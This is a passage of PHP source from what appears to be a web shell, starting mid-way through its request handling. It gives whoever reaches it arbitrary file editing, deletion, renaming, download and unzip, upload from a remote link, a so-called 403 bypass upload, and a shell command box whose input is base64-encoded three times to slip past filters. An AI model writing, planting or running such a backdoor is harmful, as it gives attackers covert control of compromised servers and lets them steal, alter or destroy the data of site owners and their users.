} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>".$_POST['path']."<br><br>";
    echo '<form method="post">
    <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
    <input type="hidden" name="path" value="'.$_POST['path'].'">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
    dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
    unzip($_POST['path'], $lokasi);
} elseif ($_REQUEST['upload'] == "gaskan") {
    echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
Upload File From Link :<br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>';
} elseif ($_GET['komend'] == "gaskan") {
    echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    '.@get_current_user().'@'.ipserv().':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        ekse($_POST['komend'], $lokasi);
    }
    echo "</center>";
} 

if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}

echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($lokasinya as $dir){
    if(!is_dir($lokasi."/".$dir) || $dir == '.') continue;
    echo "<tr>
    <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
    <td><center>--</center></td>
    <td><center>".filedate($lokasi."/".$dir)."</center></td>
    <td>".owner($lokasi."/".$dir)."</td>
    <td><center>";
    if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
    elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
    echo statusnya($lokasi."/".$dir);
    if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

    echo "</center></td>
    <td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
    <select name=\"pilih\">
    <option value=\"\"></option>
    <option value=\"hapus\">Delete</option>
    <option value=\"gantinama\">Rename</option>
    </select>
    <input type=\"hidden\" name=\"type\" value=\"dir\">
    <input type=\"hidden\" name=\"name\" value=\"$dir\">
    <input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
    <input type=\"submit\" class=\"gas\" value=\">\" />
    </form></center></td>
    </tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>';
foreach($lokasinya as $file) {
    if(!is_file("$lokasi/$file")) continue;
    $size = filesize("$lokasi/$file")/1024;
    $size = round($size,3);
    if($size >= 1024){
    $size = round($size/1024,2).' MB';
} else {
    $size = $size.' KB';
}

echo "<tr>
<td>".cekfile($lokasi."/".$file)."<a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>".filedate($lokasi."/".$file)."</center></td>
<td>".owner($lokasi."/".$file)."</td>
<td><center>";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"dunlut\">Download</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>";
if (class_exists("ZipArchive")) {
    echo "<option value=\"unzip\">Unzip</option>";
}
echo "</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</tr></td></table></table>';
author();

function statusnya($file){
$izin = substr(sprintf('%o', fileperms($file)), -4);
return $izin;
}
?>